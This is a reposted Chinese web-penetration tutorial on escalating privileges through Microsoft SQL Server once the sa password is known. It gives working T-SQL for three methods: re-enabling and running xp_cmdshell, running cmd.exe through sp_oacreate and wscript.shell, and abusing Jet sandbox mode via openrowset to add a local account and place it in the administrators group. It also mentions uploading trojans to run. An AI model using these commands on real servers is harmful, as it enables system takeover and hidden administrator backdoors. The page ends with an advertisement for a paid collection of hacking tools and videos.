2021-06-01web渗透学习之sqlserver提权(转)
发布日期:2021-07-27 04:52:12 浏览次数:6 分类:技术文章

本文共 5096 字,大约阅读时间需要 16 分钟。

一、简介

在利用系统溢出漏洞没有效果的情况下,可以采用数据库进行提权。

数据库提权的前提条件:

1、服务器开启数据库服务

2、获取到最高权限用户密码
(除Access数据库外,其他数据库基本都存在数据库提权的可能)

二、使用xp_cmdshell进行提权

假设条件:

1、已得到 sql server 的sa权限
2、sql server开启外联

本次搭建环境,数据库密码存放文件在,可以通过webshell读取网站配置文件或者数据库文件(sql server的数据库文件存储格式是mdf)

在这里插入图片描述

2.1 提权过程

使用sql server的客户端连接数据库

sql sever有一个自带的系统数据库master,而xp_cmdshell在 存储过程、扩展存储过程中

在这里插入图片描述
查看扩展存储过程,如果其中含有 sys.xp_cmdshell 说明目标网站没有删除该组件,只是默认把该组件禁止,如果没有看到该组件说明已删除xp_cmdshell,那么可以上传dll文件进行删除,其中dll文件要根据sql server 数据库版本进行选择
在这里插入图片描述
选择数据库后,再进行新建查询
在这里插入图片描述
执行命令后,报错提示 xp_cmdshell 被关闭

EXEC master.dbo.xp_cmdshell 'whoami'   
1

在这里插入图片描述

那么就使用开启 xp_cmdshell 的命令(只有sa权限才可以开启)

EXEC sp_configure 'show advanced options', 1RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;   
1
2
3
4

在这里插入图片描述

开启 xp_cmdshell 之后,再次执行 EXEC master.dbo.xp_cmdshell 'whoami' 命令,成功提权到system权限。
在这里插入图片描述
在这里插入图片描述

简单总结:

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。

启用:

EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;
RECONFIGURE;

关闭:

exec sp_configure ‘show advanced options’, 1;
reconfigure;
exec sp_configure ‘xp_cmdshell’, 0;
reconfigure;

执行:

EXEC master.dbo.xp_cmdshell ‘命令’

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

三、使用sp_oacreate进行提权

执行命令后,报错提示 sp_oacreate组件 被关闭

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
  • 1
  • 2

(调用cmd.exe执行命令,如果cmd.exe无法调用或者被删除的话,可以自己上传一个cmd.exe进行调用。除了cmd.exe也可以上传一些木马程序进行执行)

在这里插入图片描述
那么就使用开启 xp_cmdshell 的命令(只有sa权限才可以开启)

EXEC sp_configure 'show advanced options', 1;   RECONFIGURE WITH OVERRIDE;   EXEC sp_configure 'Ole Automation Procedures', 1;   RECONFIGURE WITH OVERRIDE;
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述

开启之后,whoami查看权限
在这里插入图片描述
在这里插入图片描述

简单总结

启用:EXEC sp_configure 'show advanced options', 1;   RECONFIGURE WITH OVERRIDE;   EXEC sp_configure 'Ole Automation Procedures', 1;   RECONFIGURE WITH OVERRIDE;

关闭:

EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 0;
RECONFIGURE WITH OVERRIDE;

执行:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c whoami >c:\1.txt’

以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

四、使用SQL Server 沙盒提权

什么是沙盒?

沙盒(英语:sandbox,又译为沙箱),计算机专业术语,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。

提权操作

执行添加管理员的命令后,报错如下图所示:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') 
1

在这里插入图片描述

那么输入以下命令,启用Ad Hoc Distributed Queries:

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure; 
1
2

在这里插入图片描述

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' 
1

在这里插入图片描述

执行添加一个管理员 margin 命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') 
1

在这里插入图片描述

net user 查看,发现margin用户成功添加
在这里插入图片描述
将margin用户提升到超级管理员权限

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")') 
1

在这里插入图片描述

net localgroup administrators 查看超级管理员组账户有margin
在这里插入图片描述

简单总结

--提权语句

exec sp_configure ‘show advanced options’,1;reconfigure;

不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure;

关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;

查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’, ‘SandBoxMode’

执行系统命令select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net user margin margin /add”)’)

select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net localgroup administrators margin /add”)’)

沙盒模式SandBoxMode参数含义(默认是2

<span class="token number">0</span>:在任何所有者中禁止启用安全模式

<span class="token number">1</span> :为仅在允许范围内

<span class="token number">2</span> :必须在access模式下

<span class="token number">3</span>:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

恢复配置

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,1;

exec sp_configure ‘Ad Hoc Distributed Queries’,0;reconfigure;

exec sp_configure ‘show advanced options’,0;reconfigure;

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

参考链接:https://blog.51cto.com/11797152/2411770

注意:这三种提权方式,sql server 2008及以前版本都适用,2012的版本应该可以适用,2016版本比较复杂,没测试过。

目前最多的还是 2008 与 2012 版本 较多

更多资源:

1、web安全工具、渗透测试工具

2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程

收集整理在知识星球,可加入知识星球进行查看。

在这里插入图片描述

转载地址:https://blog.csdn.net/qq_45290991/article/details/117453354 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:2021-06-01web渗透学习之SQLserver提权(mssql)
下一篇:2021-06-01web渗透学习之Windows2003提权

发表评论

最新留言

逛到本站,mark一下
[***.202.152.39]2024年09月18日 13时54分11秒